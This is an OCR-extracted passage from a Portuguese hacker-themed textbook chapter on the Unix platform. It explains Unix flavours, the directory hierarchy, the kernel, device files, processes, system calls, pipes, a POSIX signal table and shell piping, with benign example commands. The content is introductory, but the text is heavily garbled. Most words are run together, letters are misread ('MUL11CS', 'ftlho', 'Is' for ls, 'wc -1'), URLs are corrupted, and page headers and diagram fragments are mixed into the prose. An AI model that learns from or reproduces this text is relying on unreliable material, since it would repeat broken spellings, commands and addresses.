Europa.Eledefineas chamadasdesistema,ou seja,asmensagense sinaisqueosprocessosvãotro- carentresi.PodemsercomparadasàsmensagensdoWindowsquevimosno capítuloanterior,masas systemcalls do Unix sãomuito maisnumerosas, especializadase modulares. 2 Nãoháespaçoaquiparacontartodaainteressantíssimahistóriado Unix.Umdosmelhoresdocumen- tos sobre os primeiros dias, escrito por Dennis Ritchie, pode ser encontrado no endereço cm.bell-labs.com/cm/cs/who/dmr/hist.htmI.Além de curiosidadeshistóricas,são descritosos fatosque levaramo Unix a separecercomo queé hoje. 3 Nãopensequeo MUL11CSmorreuem1969!Seudesenvolvimentocontinuoue a GE(depoiscomprada pelaHoneywelle,maisrecentemente,pelaBulI) utilizou-Qcomoumdeseussistemasprincipaispor muitos anos.O últimosistemaMUL11CSaindaem1imcionamentofoi oficialmentedesativadoem31 deoutubrodo ano 2000.ParasabermaissobreMUL11CS,visiteo site dosaficionados:www.multicians.orl!.Um ensaio sobreo quantoo Unix foi inspiradono MULTICSpode ser vistoem www.muIticians.orl!/unix.htmI. 188I Plataforma Unix r
  • Universidade1°ano Dezenasdesaboresà suaescoLha Talvezo leitorsoubessea quenos referíamosquandodissemosqueo Unix eraumsistemaoperacionalaberto.Maisainda,quandocitamosquehaviadiver- sos"sabores"disponíveis.MasUnix éumsistemaoperacionalenãoumsorvete. Quenegócioé essede"sabor"? Sendoum padrãoaberto,o SingleUnix Specificationpermiteque vários fabricantespossuama suaprópria implementação.Mesmosendoextrema- mentediferentesemalgunscasos,aindasãoconsideradosUpicesporqueade- remao padrãoUnix-98(a últimaversãodo SingleUnix Specification).Com efeito,podemoscitaralgunsdesenvolvedoresde softwarequepossuemver- sõesdo sistema: ~SunMicrosystems,comseuSolaris; ~IBM,como AIX; ~SGI e o IRIX; ~BSDicoma implementaçãoBSDe a versãogratuitaFreeBSD; ~Hewlett-Packarde seuHP-UX; ~A própriaMicrosofte o fmadoXenix; ~A famíliaGNUlLinux. Citamosapenasos maisconhecidos.Existemmuitasoutrasimplementações Unix,comerciaisounão.O quechamamosde"famíliaGNUlLinux"éumconjun- to decentenasdedistribuiçõesdiferentesdessesistemaoperacionaldecódigo aberto,cadaumadelascomsuasprópriasidiossincrasias. Por queessaconfusão?Na décadade80,quandováriasimplementaçõesco- merciaiscomeçarama serdesenvolvidas,cadafabricanteacaboucriandoseus própriospadrõese"puxandoa sardinhaparao seulado".OsUnicestornaram- setãodiferentesentresi queacabaramnão sendointeroperáveis.Umarede heterogêneaeraimpossívelnaépoca,e hojeo padrãoUnix-98tentaderrubar essasdiferenças. As entranhasdafera Todasasrecomendaçõesquejá demosno capítuloanteriorvalemparaeste também(e paratodosos subseqüentes- repetiremo-Iosdiversasvezes,quase quecomoumalavagemcerebral...).Todohackerqueseprezedeveconhecer sistemasUnix, mesmoque os odeie.É possívelque,depoisda leituradeste capítulo,antigosdetratoresdessedecanomudemdereligiãoe passema rezar na igrejade KenThompson.Mas,convencidoou não,os sistemasUnix certa- mentefarãopartedesuavidadeciberativista. 1891 I PlataformaUnix
  • IUniversidade Estrutura Os sistemasoperacionaisdafanú1iaUnixpodem,parafinsdidáticos,serdividi- dosempartesclassificadaspor função:kemel(cemeou núcleo),shell(concha ou casca)e programasdousuário(aplicativose ferramentas).Comoessaabor- dagemé muitoparecidacoma própriadefiniçãodesistemaoperacional, po- demosusarumasimplificaçãodo diagramaemcamadasparademonstrá-Io. Essestrêsgrandescomponentesseutilizamdeuma estruturafísicauniversalchamadadesistema dearquivos.Antesdeentraremdetalhesso- bre shell,systemcalls,processose kemel,vamosmergulharumpou- co nessainfra-estruturasobrea qualtodososUnixsãomon- tados.Sãonecessáriosal- gunsfundamentose co- mandosdo shell para percorrê-Io.Casotudo issosejamuitonovo paravocê,consulteo apêndiceE,"Bê-á-bá doUnix". Sistema de arquivos o Microsoft Windows possui uma estruturabási- cadediretórios.En- tretanto, ela existe comoconseqüência da estruturaçãodo sistema,não como causa.Os arquivosde sistemarelevantes estão frouxamente organizados no diretório Windows (ou WinNT) e subdiretóriosdentrodele.Mesmoaspartesdo kemel estãodispostasem arqui- vos separados,misturadoscom outras centenasde arquivos dísparesjogados dentro de C\WlNDOWS. O grandeagenteaglutinadordo sistemaoperacional microsoftianoé o Registro do sistema4. 4 Lembrandoqueo RegistrodossistemasWindowsé fisicamentegravadoemdiversosarquivos,e que cadaversãopossuiumconjuntodiferentedeles.QuandofalamosemorganizaçãodoRegistroaqui,estamos nos referindoà organizaçãológica,aquelaqueé apresentadaao usuárioquandoele abreo Editor de Registroe queé comuma todasasversõesdo sistema. '° I PlataformaUnixI
  • Universidade1°ano Os Unix,por outrolado,sãoestruturadosjustamentea partirdo sistemade arquivos.Qualquercoisaquepossasermanipuladano sistemaé tratadacomo umarquivo.Issoincluidispositivosdehardware(comosuaplacadesomou a portade impressora),os processosemexecuçãoe,obviamente,os arquivos comuns.Épossível,porexemplo,copiarumMP3paradentrodoarquivocorres- pondenteàsuaplacadesom:comopormágica,amúsicasoaránosalto-falantes. Osarquivosligadosaosprocessosemexecuçãopodemserusadosparacontrolá- los.Ler essesarquivosnormalmentenospermiteteracessoa informaçõesso- breo processo;e,grossomodo,podemosescrevernelesparamandarmensa- gensao processo. Nãoháindicaçãono padrãoPOSIXa respeitodaorganizaçãohierárquicade diretórios:sistemasde arquivosUnix seguemum padrãotácitoe nãooficial. Hádiversosdocumentoseproposiçõestécnicasarespeito,comooFileHierarchy Standard(www.pathname.com/fhs).masnenhumadesenvolvedoracomercial deUnixé obrigadaasegui-los.AúnicaexceçãosãoossistemasGNU/Linux,que possuemumapadronizaçãoespecíficae rígidaparaisso na Linux Standard Base(www.1inuxbase.org). Mesmonãohavendoumdocumentooficial,háum consensonadistribuição dediretóriosemumsistemaUnix.Excetopordiferençasmuitosutis,a"árvore" de diretóriosde qualquersaborde Unix separececomesta.A hierarquiade diretóriosé,naverdade,um superconjuntoou uniãodasprincipaisestruturas dos"sabores"maiscomuns.Em algunssitemas,por exemplo,não temoso /proc;emoutros,o /devexiste,maspossuioutronome;e aorganizaçãoabaixo de!lib,/usre /vartambémvariaentreosdiversostiposdeUnix.Maso "esque- leto"é basicamenteesse,e a partirdeleé muitofácildescobrire entenderas diferençasdeumsistemaemespecial. O diretórioprincipal,aquelequecontémtodososoutros,é chamadoderaiz, apesarde estarno topo da estrutura5.É representadopor um sinaldebarra (I) - nãoconfundircomabarrainvertida(\) usadanoWindows- e qualquer arquivooudiretórioé referenciadoapartirdele.Por exemplo,o diretóriotmp deveserrepresentadocomo/tmp.Um arquivoqualquerdentrodo diretório /tmpseriaencontradosedéssemoso endereçocompleto:/tmp/arquivo. Cadaum dosdiretóriospossuiumafunçãoespecífica: ~Ibin: ferramentasnecessáriasparaa operaçãodo sistema; ~/sbin:ferramentasdo administradornecessáriasparaa operaçãoe manu- tençãodosistema- o "s"é desuperuser; ~/dev: cadadispositivode hardwareinstaladopossuium arquivoneste diretório; ~/etc:osarquivosdeconfiguraçãodosistemaedosprogramasestãonestediretório; 5 Considerequenossaestruturaé umaárvoreinvertida(galhosno chãoeraizesaocéu)ea visualízação flcaráfácil. 191 I ] PlataformaUnix
  • I Universidade H4CK3R I / bin dev etc home lib mnt proc sbin tmp usr bin doc etc include lib local man sbin share src var 192 I PlataformaUnix[ ~/home:cadausuáriocadastradono sistemapossui umdiretóriocomseunomeem/home- estaé aúnica áreadediscoquea maioriadosusuáriosestáautoriza- daa utilizarparagravarseusarquivos; ~/lib: asbibliotecasdefunçõesdosistemaestãoaqui - considere-ascomoas"DLLs"do Unix; ~/mnt:diretóriousadoparaconexãoavolumespre- sentesemoutroscomputadoresdaredeouparaacessar dispositivosremovíveis,comodisquetes,fitasmagnéti- case CDs; ~/proc:arquivosrepresentandoosprocessosemexecução; ~/tmp: espaçoparaarquivostemporáriosgerados pelosprogramasou pelosprópriosusuários; ~/usr:osaplicativosdousuárioestãoinstaladosabai- xo de/usr; ~/var:informaçõesvariáveisdosistema(spooldeim- pressora,caixaspostais,cachedeInternet,logdosiste- ma,etc.). o diretório/usrémuitoimportante.Praticamentetudoo queos usuáriosvãoutilizarestánele.Maspor queesse diretórioexiste?NãoseriamaisfácilcolocartudoemIbin? Normalmente,o Ibin e o /sbincontêmapenasospro- gramasestritamentenecessáriosparaque o computa- dorfuncionee possadarbootou serreparado.No /usr estãoguardadoso restantedosprogramasdosusuários (ferramentas,editoresdetexto,navegadoresdeInternet e ambientesgráficos)bemcomoadocumentaçãodosis- temae osarquivoscompartilhados.O /usrpodeestarna mesmapartiçãodo Ibin e do /sbin.Mastambémpode estaremoutrapartição,quesóé acessadapelosistema depoisqueo Unixterminasuainicialização. O /usrpodeaindaestaremumamáquinacentralizada narede,queexportaum/usrcomumatodasasestações Unix.Comisso,o administradortemde instalarprogra- masapenasumavezemvezdefazê-Ioemcadaumdos computadoresUnix sobsuasupervisão. O /usré quaseum"mini-root":contémseuspróprios bin,sbin,lib,etc.,quesão,respectivamente,osdiretórios de programascomuns do usuário, ferramentasdo superusuário,bibliotecasdefunçõesdosprogramasabai- xo do /usr e arquivosde configuraçãodosprogramas abaixodo /usr.Alémdisso,possuidiretóriossó encon-
  • Universidade1°ano tradosnele.A dupla/usr/includee /usr/srcpresta-separaa compilaçãode progra- masa partirdo código-fonté.O /usr/docguardaumagamavariáveldedocumentos sobreo sistemae os programasinstalados.Já o /usr/manencerraa documentação oficialdo sistema,aschamadasmanpages.O /usr/sharepossuiqualquertipo de arquivo(imagens,sons,configurações)que devesercompartilhadopor todosos programase usuários. Por fim,o diretório/usr/localé um"mini/usr".Possuiumaestruturadediretórios praticamenteidênticaao /usr.Serveparaqueprogramaslocaispossamserinstala- dosemcomputadoresquepossuamo /usremoutramáquinanarede.Apesarde/usr tera possibilidadedeserum"drivederede",o /usr/localcontinuasendoarmazena- do localmenteno HD. VasculheseusistemaUnix antesdeprosseguir.Nãosepreocupe- sevocênãofor o superusuárioeusarsomenteoscomandosnão-destrutivoscomocd,lse cat,nãohá possibilidadede"estragar"nada.Depoisde fazê-lo,vá paracasa,se arrumee saia, comofezno capítuloanterior.Ou antes,largueestelivroe pegueCrimee Castigo, deDostoiévski.Ouvátocarflautadoce.MasrelaxeenãopenseemUnix atéamanhã. ocernedaquestão O kerne1criaprocessostodavezquepedimosao sistemaoperacionalpara rodarumprograma.Alémde criá-los,o kernelcuidaparaqueelescolaborem entresienãosedestruammutuamente,etambémgerenciaosrecursos(memó- ria,CPU,periféricos)quecadaprocessoutiliza. Compareo diagramadapróximapáginacomo do capítuloanterior.Pode-se verclaramentequeaimp1ementaçãoUnixdifereradicalmentedesuaequivalen- teWindows.Enquantoo sistemadaMicrosoftutilizao conceitode microkerne1- apenasasfuncionalidadesbásicasestãono kerne1e hádiversossubsistemasro- dandoem usermode-, no Unix tudoestáembutidonumnúcleomonolítico. Mesmoemimplementaçõescujokerne1é modular,os módulostambémrodam emkerne1mode.Apenasos processosdosprogramase serviços(daemons)ro- damno espaçodousuário. 6 o díretório/usr/includearmazenaos cabeçalhoscomosprotótiposdasfunçõesem C presentesnas bibliotecas/lib e /usr/lib, enquantoo /usr/src recebeo próprio código-fontea ser compilado. 1931 I PlataformaUnix
  • IUniversidadeH4CK3RI ---------------------- Interfacedeserviço J FileSystem J Gestãodememóriae Input/Output "o DOPro Hardware Osprocessoscomunicam-se comokeme1pormeiodecha- madasde sistemaou system ca11s(a "interfacede serviços" mostradano diagrama).As systemca11sinteragemcomos componentesdoSOpormeio dosistemadearquivos(nãose esqueça:emUnixtudoéarqui- vo).Porele,o keme1controla ohardware,osarquivosdousu- árioe osprópriosprocessos, que são objeto de um escalonamentoouscheduling paradefinirasprioridades,a ordem de execuçãoe a interaçãoentreeles.Comoo hardwaretambémé tratado pelosistemadearquivos,o núcleo dos sistemasUnix nada mais é do que um supergerenciadorinteligente dearquivos. 1941 PlataformaUnix [ Programas ! I BibliotecasdeSistemaI f UserMode KernelMode Usuário Sistema ! Systemcall1nterface ! ControledeProcessos Comunicaçãoentre processos Scheduler ;.Caracter OrientedIOriented. D.~y.!!t~.Q.ril,l~nL.. f Gestãodememória Controlede Hardware Sistema Hardware
  • Universidade1°ano Numexamemenossimplificado,vemosqueos programasacessamfunções disponíveisnasbibliotecasdo sistema.Semelhantesàs DLLs dos sistemas Windows,asbibliotecascompartilhadas(sharedobjectsou so) dos sistemas Unix permitemqueváriosprogramascompartilhemasmesmascaracterísticas. A diferençaé amaioropçãodeescolha.O Unixéumsistemamuitomaismodu- lardoquequalqueroutro.Issosignificaqueo programadortemmuitasopções debiliotecasparabasearseusprogramas. Umexemploé ainterfacegráfica.NoWindowselaencontra-seemumaúnica biblioteca(GDI.DLL).Já no Unix temosdiversostoolkitsgráficos,todoseles "encaixáveis"no servidorX. O maisfamosoé o Motif,mashámuitosoutros. comoo GTK,o Qt e oTk. Sejadiretamenteouatravésdasbibliotecas,osprocessosemitemsystemcalls parao kerne1,solicitandoalgumacoisa.No kerne1há rotinasparacontrole dessesprocessos(escalonamento,comunicaçãoe memória)e paraacessaros recursosdo sistemapor meiodo sistemadearquivos. Dispositivos Os dispositivosdo sistemapresentesem/dev sãoarquivosespeciaisquese comunicamcomo hardware.Melhordizendo,sãorepresentações(imagens)dos dispositivosemformatode arquivo.Todaa discussãosobreinterrupthandlers quetivemosno capítulosobreo Windowsvaleparaos sistemasUnix também. MasaocontráriodoWindows,ossistemasUnixdependemmuitopoucodaBIOS emsistemasbaseadosemhardwarePC.Todasasfunçõesoriginalmentea cargo daBIOS(excetuando-seainicializaçãodamáquina)sãoimplementadasnokerne1. OutrasplataformasdehardwaresequerpossuemalgoparecidocomumaBIOSde PC e,portanto,a implementaçãodessasfunçõesno kernelé obrigatória. Lembram-sedecomoos dispositivoseramacessadosnoWindows,por meio dedevicedriverseVxDs?No Unix,obviamente,tambémhádevicedrivers.Mas ao contráriodoWindows,os driverssãomódulosdokerne1.Taismódulospo- demsertantocompiladosno própriokerne1demaneiramonolíticacomocar- regadossobdemandanamemória,seforemcompiladoscomoautônomos.Aí residea diferençaradicalentrea abordagemmicrokerne1doWindowse a de kerne1monolíticodoUnix.Osarquivosdedispositivopresentesno /devcomu- nicam-secomos devicedrivers- e,portanto,com o prórpiokernel,que se encarregadecontrolaro hardwareparao qualo driverfoi escrito. Osnomesdosdispositivossãoorganizadosdeformasimples.Normalmenteé umgrupode duasa quatroletrase,opcionalmente,números.Por exemplo,o primeirodiscorígido(ou qualquerdispositivoIDE) instaladoemum sistema Linuxé o /dev!hda,o segundoé o /dev!hdb.EmumSolaris,osmesmosdiscos estãorepresentadospelosarquivos/dev/dsk/cOtOdOe cOtldO.Hátrêstiposde dispositivos:debloco,decaractere de interfacesderede. Osdispositivosorientadosacaractere(characterdevicesou,ainda,chardevices) 1951 I PlataformaUnix
  • I Universidade H4CK3R I sãoaquelesquepodemseracessadoscomoum arquivocomum.Vocêpode escrevernelesou lerapartirdeles,sempreumbyteporvez.Defato,osdrivers queimplementamessesdispositivosaceitamsermanipuladospor funçõespri- mitivascomoopen(),close(),read()ewrite().Algunsexemplossãoasportas seriais,o tecladoe o mouse. É óbvioquehádiferençasentreosdispositivosdecaracteree umarquivoco- mum.Sefor criadoumarquivocomume,dentrodele,for gravadaa frase"Hey Beavis,I'ma Unixstring!",épossívelrecuperaressafrasetodavezqueo arquivo forlido.Umchardevice,poroutrolado,éapenasumcanaldecomunicaçãoentre o espaçodousuárioeo dispositivo.O queforenviadopormeiodo/devétratado pelohardwaree nãopodemaisserrecuperado.Quandosetentalerdodisposi- tivo,o queseobtémsãoos dadosqueo mesmoestáenviandoao sistemade arquivosnaquelemomento,nãoosgravadosanteriormente. Os dispositivosorientadosa bloco(b10ckdevices),por outrolado,sópodem seracessadospormeiodegrandespacotesdeinformação.Normalmenteencer- ramemsi componentesnosquaisépossívelguardarsistemasdeaquivos,como HDs,disquetese CD-ROMs.Um discorígido,namaioriadossistemasUnix, só podeseracessadoemblocosde 1kbyte.Sefornecessáriogravar,por exemplo, apenas128bytesnodisco,seráusadoumblocode1Kbyte(1024bytes)paratal. Os b10ckdevicespossuem,por issomesmo,umavelocidadede transferência (throughput)muitomaiordoqueosdispositivosdecaractere.Tambémportrans- feriremgrandesquantidadesdedados,podemcontarcomumaáreadetransfe- rênciaauxiliar(buffer)dotipo cache,queaumentaaindamaiso throughput. O últimotipodedispositivopresenteno /devsãoaschamadasinterfacesde rede.EmsistemasLinux,sãorepresentadasno /devpor ethOparaa primeira placa,ethl paraa segundae assimpor diante.EmumsistemaHP-UX,queusa placasIntel,asinterfacesforamchamadasde itlO,itll, etc.Há dispositivosde redequesãopurosoftware.Doisexemplossãoo loopback(interface10),que direcionao tráfegoderedeparaa própriamáquina(endereço127.0.0.0),e os socketsdecomunicaçãodoservidorX Window. As interfacesderedesão,no fundo,dispositivosorientadosa caractere,embora especializados.Emalgumasimplementações,osdispositivosSCSIsãoconsiderados comoumquartotipodedispositivo,emborasejam,naprática,dispositivosdebloco. Processos(não,isso nãoé papodeadvogado) Emum sistemaUnix,os processossãoasentidadesmaisimportantes.Além dosprogramasdo usuário,todosos serviçose servidoresquerodamemum computadorcomUnixsebaseiamemumoumaisprocessos.UmamáquinaUnix podeconter,entreoutrascoisas,umservidorWeb,umbancodedados,umservi- dordee-mailsouumarádioon-tine.Cadaumdessesserviçoséchamadodedaemon e disparaum ou maisprocessosidentificadospor númerosúnicosemtodoo sistema.Cadaprocessopossuiseunúmerodeidentificaçãoexclusivo.O servidor Webdo exemplopossuidiversosprocessosapenasparase manter"no ar",e 1961 PlataformaUnixI
  • Universidade1°ano cadaconexãodeumbrowserde Interneta algumapáginadesseservidorcria maisum processo.É fácil perceberquenumarranjocomoessehá sistemas Unix commilharesdeprocessossimultâneos. O primeiroprocessogeradopor um programaqualqueré chamadodepai. Cadaumdosprocessosgeradosporessepaié chamadodefilho.Comohávári- osníveisdeprocessos,podemosdizerqueumprocessosempreé ftlhodeou- tromaisprimitivoe podeelemesmoserpai deoutrosprocessosmaisnovos. Háduasmaneirasdeiniciarumprocesso.A primeiraéamaistrivial:o usuárioemite umcomandonoprompteoshelltransformaessecomandoemumprocesso.Masháa possibilidade(ouantes,anecessidade)deiniciarprocessosautomaticamente. NainicializaçãodoUnix,okeme1,assimqueécarregado,tratadeiniciaro primei- roprocesso:o init.Eleéopaidetodososoutrosprocessosgeradosapartirdeentão. O initfinalizao procedimentodebootcarregandoasconfiguraçõesdo sistemae inicializandotodososdaemonsreferentesaosserviçosqueamáquinadeveoferecer. Algunsdessesdaemonssãoserviçosderede,comoe-mail(SMTP)eWeb(HTIP). Taisserviços"escutam"aredeàesperadesolicitaçõesvindasdeoutroscompu- tadores.Porexemplo,umserviçoHTTPesperaquecomputadorescombrowsers deInternetconectem-seaele.Casoaconexãosejaestabelecida,o daemoncor- respondenteenviaaonavegadordo outrocomputadora páginasolicitada. É interessantenotarque essesserviçosesperamcontinuamentepor cone- xões,o quesignificaqueconsomemrecursosdamáquinamesmoquandoocio- sos.Paraevitarisso,os serviçosmenosrequisitadospodemseragrupadosem um superservidorchamadoinetd,queaguardapor conexõesa diversosservi- ços.Casoumdessesserviçossejasolicitado,o inetdcarregao daemonnecessá- rio.Quandoa conexãoacaba,o inetddescarregao daemondamemória. ~ ~~:~!~J + [~iI~~j Os processoscomunicam-seentresi por meiodesinaise emitemrequisiçõesaosiste- maoperacionalatravésdaschamadasde sis- temaousystemcaIls.Hádiversossinaise cha- madaspadronizadaspelanormaPOSIX. Sempre"escutam" a redeàespera deconexões I IpeloINETO Ei,poderiamefazerumfavor? Semprequeumprocessoprecisadealgumacoisadocomputador,emiteuma chamadade sistemaao kernel.As tarefasqueasaplicaçõespedemao kernel podemserdeacessoaperiféricos,solicitaçãoà CPUpara"fazerumaconta"ou requisiçãodemaismemória.Existemdezenasde systemcaIls.As maisbásicas sãofork,exece wait.A forkcriaumprocessoftlhoqueéumdone doprocesso pai:temasmesmascaracterísticas,trabalhacomosmesmosarquivosjáabertos (emborapossaabriroutrosnovossóparasi) e,o maisimportante,pertenceao 1971 I PlataformaUnix
  • IUniversidadeH4CK3RI mesmoprogramaquegerouo processopai.Asúnicasdiferençassãoo número deidentificaçãodecadaprocessoe o númerodeidentificaçãodoprocessopai. Já achamadaexectransfereo controledaCPUparaoutroprocessoouprogra- ma.Osarquivosqueestavamabertosparaoprogramaoriginalsãoredirecionados paraos processosgeradospelo novoprograma.Usandoambasaschamadas nessaordem(forkdepoisexec),umprocessocriaumftlhoe transfereo coman- doparaele.Quandoo processoftlhocompletarsuatarefa,enviaosresultados doprocessamentoaopai. A duplafork+exec,entretanto,nãoevitaqueo processopai continuerodan- do.Paraqueo processopaientreemhibernaçãoe espereparadoo términodo processoftlho,usa-sea chamadade sistemawait.Comoo processopai está dormindo,nãoentrano timesharingdamáquinae,portanto,economizareçur- sos.O processopaisóvoltaráaosciclosdeprocessamentodamáquinaquando o processoftlhodeixardeexistirou,no jargãotécnico,"morrer". Um exemplopráticoé a linhade comandoou shell.Imaginequeo usuário digitouumcomandoe o shellficoucongelado,sendoliberadosomentedepois deo comandoserfmalizado.Nessecaso,o she11emitiuumachamadawaitpara o comandodousuário.Sepor outroladoo usuárioemitirumcomandoe,ape- sarde o programaaindaestarrodando,o promptaparecerimediatamente,é indíciodequeo she11nãousoua chamadadesistemawait. Comunicaçãoentreprocessos Hácasosemque,emvezdesolicitaremalgumacoisaaoSO,osprocessosnecessi- temcomunicar-seunscomosoutros.Umadasformaspossíveisé a comunicação entreprocessospaiefilhos.O processopaipode,porexemplo,fazerumachamada desistemaptracepararastrearpossíveisbugsdeprogramaçãono processofilho. Outroexemplodecomunicaçãoentreprocessossãoospipesoudutos.Pipes sãoumamaneiradeo própriousuáriodeterminara ligaçãoentreasaídadeum processoeaentradadeoutro.Issoéfeitonalinhadecomando,como caractere I (que,nãopor acaso,chama-sepipe...).Observeo comandoaseguir: $ ps -e I grep netscape Essecomandotomaa saídadoprimeiroprograma(ps-e)e o joganaentrada dosegundoprograma(grepnetscape).Observequeosdutostêmumapeculia- ridade:apenasligamprocessosoriundosdo mesmopai.No casoacima,os co- mandosps egrepsão"irmãos",ftlhosdomesmoshell. Um terceirométododeos processosse comunicaremé atravésdosIPCMFsou Inter Process CommunicationMessageFacilities.Os IPCMFs nadamaissãodo que filas. Existemprocessostransmissores,quesãoautorizadosa colocarmensagensna fila,e processosreceptores,queobviamenteosretiram.Um exemplodeimplementaçãode IPCMFssãoos sPOOlsde impressão.Váriosprogramase usuáriospossuempermissão paraescreverna filade impressão,e é possívelqueváriasimpressoras(e seusdevice drivers)"puxem"documentosparaseremimpressospor elas. 198 I Plataforma Unix I
  • Universidade1°ano Sinais e semáforos Osmétodosdecomunicaçãointerprocessosmaisprimitivos,entretanto,sãoos sinais.Sãomensagensmuitosimplesqueumprocessoenviaaoutro.Apenaspro- cessosativospodemenviarsinais.Comoapenasum processopodeestarativo emumdadomomento- anãoserqueo sistemapossuaváriospocessadores-, umsinalcertamentevaiacordaroprocessodestino,queobviamenteestásuspenso. Quandoumprocessosuspensovoltaà atividade,o kerne1verificaseexiste algumsinalparaele.Seexistir,o sistemapodetomarumaentretrêsprovidênci- as:ignoraro sinal,entregá-Ioaoprocessodestinatáriooucapturá-Io.Quandoum sinalé capturado,o sistemaexecutaumadesuasrotinasdetratamentodesinal, quevariadeacordocomanaturezadomesmo. Origina1mente,eramconsiderados22sinais.Segundoo padrãoPOSIX.1,hoje,há31 sinaisdiferentes,cadaumsolidtandoumaaçãoespeáficanoprocessodestino.Sãoeles: N° INOME SIGNIFICADO 1 SIGHUP 2 SIGINT 3 SIGQUlT 4 SIGILL 5 SIGTRAP* 6 SIGIOT/SIGABRT 7 SIGEMT* 8 SIGFPE 9 SIGKILL 10 SIGBUS * 11 SIGSEGV 12 SIGSYS* 13 SIGPIPE 14 SIGALRM 15 SIGTERM 16 SIGUSR1 17 SIGUSR2 18 SIGCLD 19 SIGPWR * 20 SIGWINCH * 21 SIGURG * 22 SIGIO * 23 SIGSTOP Desligao processodevidoà mortedo processopai Processointerrompidopelo teclado Fechao processoe o descarregadamemória Informaqueo processofezumaoperaçãoilegal Trace/breakpointtrap-para rastreamentode bugs(SystemV) Abortaprocesso EMTTrap(SystemV) Exceção(erro)empontoflutuante Encerra("mata")o processo- nãopodeserignorado Acessoà memóriadefeituosa(SystemV) Referênciainválidaà memória(segmentationfault) Chamadadesistemacomargumentoerrado(SystemV) Dutoquebrado:nãoháprocessorecebendoosdados Despertadororigináriodo comandoC "alarm" Encerrao processo-podeserignorado Sinaldefinidopelousuário Sinaldefmidopelousuário "Morte"deumprocessoftlho Quedadeenergia(SystemV) Redimensionajanela(BSD4.3e Sun) Condiçãourgenteno 'socket'(BSD4.2) E/S é possívelagora(BSD4.2) Congelaprocesso 1991 1 PlataformaUnix
  • IUniversidadeH4CK3RI 24 SIGTSTP 25 SIGCONT 26 SIGTTIN 27 SIGTTOUT 28 SIGVTALRM* 29 SIGPROF* 30 SIGXCPU* 31 SIGXFSZ* Stopdigitadono terminalTIY Mantémcongelado Obtémdadosdoterminalparaprocessoemsegundoplano Processoemsegundoplanoentregadadosaoterminal Despertadorvirtual(BSD4.2) Sinal"ProftlingTimerExpired"(SystemV) TempodeCPUexcedido(BSD4.2) Tamanhodo arquivoexcedido(BSD4.2) A tabelaconsideraos sinaisPOSIX.l emarquiteturaRISCMIPS.Arquiteturas Alpha,Sparc,i386(PC)ePowerPCpossuemalgunsvaloresdiferentes.Porexem- plo,parai386e Sparco sinal16é SIGSTKFLT- falhano coprocessador.Sinais marcadoscomasterisco(*) sãoapenasparteda implementaçãoGNU/Linux- nãosãopadrãoPOSIX.l e têmsuaorigemindicadaentreparênteses.Consulte man7signalsemseusistemaparainformaçõesmaisdetalhadase visiteo site (www.unix-systems.org)parasabermaissobreo novopadrãoPOSIX.2. Os sinaissãotrocadosentreos processosemandamento.É possívelforçar manualmenteo enviodeumsinalapartirdoshellcomo comandokill.O nomedo comandonãoénemumpoucoapropriado,poiselenãoé usadoapenasparaenviar SIGTERMouSIGKILL(ouseja,mataro processo).Qualquersinalpodeserenviado pelocomandokill. Exemplodeutilização: $ kill -9 27536 Essecomandoenviao sinal9 (SIGKILL)aoprocesso27536.Quandoo número dosinalnãoé especificado,o sistemaassumeo valor15. Alémdesinaisemensagenssimples,épossíveldizeraumprocessoparaguar- darestruturasdedadosmuitomaiscomplexas.Usandoumaporçãodememória chamadamemóriacompartilhada,osprocessosativospodem,atravésdesystem calls,armazenardadosqueserãoutilizadosposteriormentepor outrosproces- sos.Paraimpedirqueoutrosprocessosalteremosdadosantesqueo processo geradortenhaterminadodemexerneles,sãousadasentidadeschamadassemá- foros,quebloqueiamo acessoàquelaposiçãodememóriaatéhaverliberação. Nãoéobjetivodestelivroentraremdetalhessobreteoriaouparticularidadessobre desenvolvimentodesoftware,sinaisechamadasdesistema.Entretanto,ésuaobriga- çãoconhecê-Ios!Paramaisinformações,consultea normaPOSIXdo SingleUnix SpeciJication(wwwunix-systems.org)Tambémé deveraseducativoescolherumsa- borqualquerdeUnixebuscarasespecificaçõesdofabricante.Umbomsistemapara issoéo Linux,portertodoo seucódigoabertoaopúblicoemgerale,portanto,não é precisopedirpermissãooupagartaxasaninguémparaisso.Alémdisso,o Linux rodaemPCscomuns- vocêpodeestudarnoseucomputadorpessoal. 1100 I PlataformaUnixI
  • Universidade1°ano Na praia catando mexilhões Tudobem,euseiqueé o quevocêqueriaestarfazendoagora.Masestamos aquiparaser"hackers",não?Issoimplicaemnãotermaisnoitesde sono,ser anti-sociale passarasfériastrancadoemcasatentandoinvadiraquelesite... Brincadeirasàparte,é peloshellqueo usuáriodizparao kerne1:"Ei,abraum processoaíparao meuprograma".Sevocêtivessede dizerissodiretamente, teriamuitadificuldade- acomunicaçãocomokernelnãoélámuitointeligível. O shelltrabalhaentãocomoumintérpreteentrea línguaquefalamose a"lin- guagem"do computador7. No iníciodestecapítulousamosalgunscomandospara"navegarpelosistema dearquivos".Maso shellnãoé um simplesinterpretadordecomandos.Entre osrecursosmaisimportantes,estáo encadeamentodecomandos,oupiping.. Há algumaspáginas,vimosqueo encadeamentodecomandosé umadasfor- masdecomunicaçãoentreosprocessose quepodeserdisparadopelousuário por meiodo caractereI. Usandodiversospipes,umcomandodeapenasuma linhapodefazercomqueumarquivooupedaçode informaçãosejaprocessa- do por váriosprogramasseqüencialmente.A saídade umprograma"flui pelo dutoedesemboca"naentradadoprogramaseguinte.Porexemplo,considereo seguintecomando: $ Is I grep b I sort -r I tee arqsaida I wc -1 O comandols listao conteúdodo diretório.Emvez de mostrarna tela,o pipe jogaa saídade ls parao comandogrepb, quefiltraos nomesde arqui- vosquecontenhamaletrab. Emseguida,asaídadogrepé jogadano coman- do sort-r,que classificaos nomesemordemdecrescente.A saídado sorté inseridano tee,quedivideosdadosemdoiscomosefosseumaconexãoemT ou"benjamim".Asinformaçõesdo sortvãosergravadasno arquivo"arqsaída" e, simultaneamente,sãopassadasaocomandowc -1,quecontao númerode linhas.Comoresultadodessecomando,temosimpressonatelaaquantidadede arquivosquecontémaletrab,e no arquivo"arqsaída"temosgravadososnomes dessesarquivos. Esseexemplovai alémde demonstrara possibilidadede encadeamento.O Unix foi pensadodesdeo começocomoum sistemaquetivesseferramentas pequenas,maspoderosase ultra-especializadas.Taisferramentaspodemser combinadasparaformarumaferramentamaiore maiscomplexaparaexecu- tarumadeterminadatarefa.Comisso,evita-sea"reinvençãodaroda",poisusan- do-seblocosbásicosdeconstrução- comonumLego(tm) - reaproveita-seo trabalhojá existente.Essavisãodifereradicalmenteda"maneiraWindows"de fazerascoisas:programasgrandesquereúnema maioriadasfunçõesque o 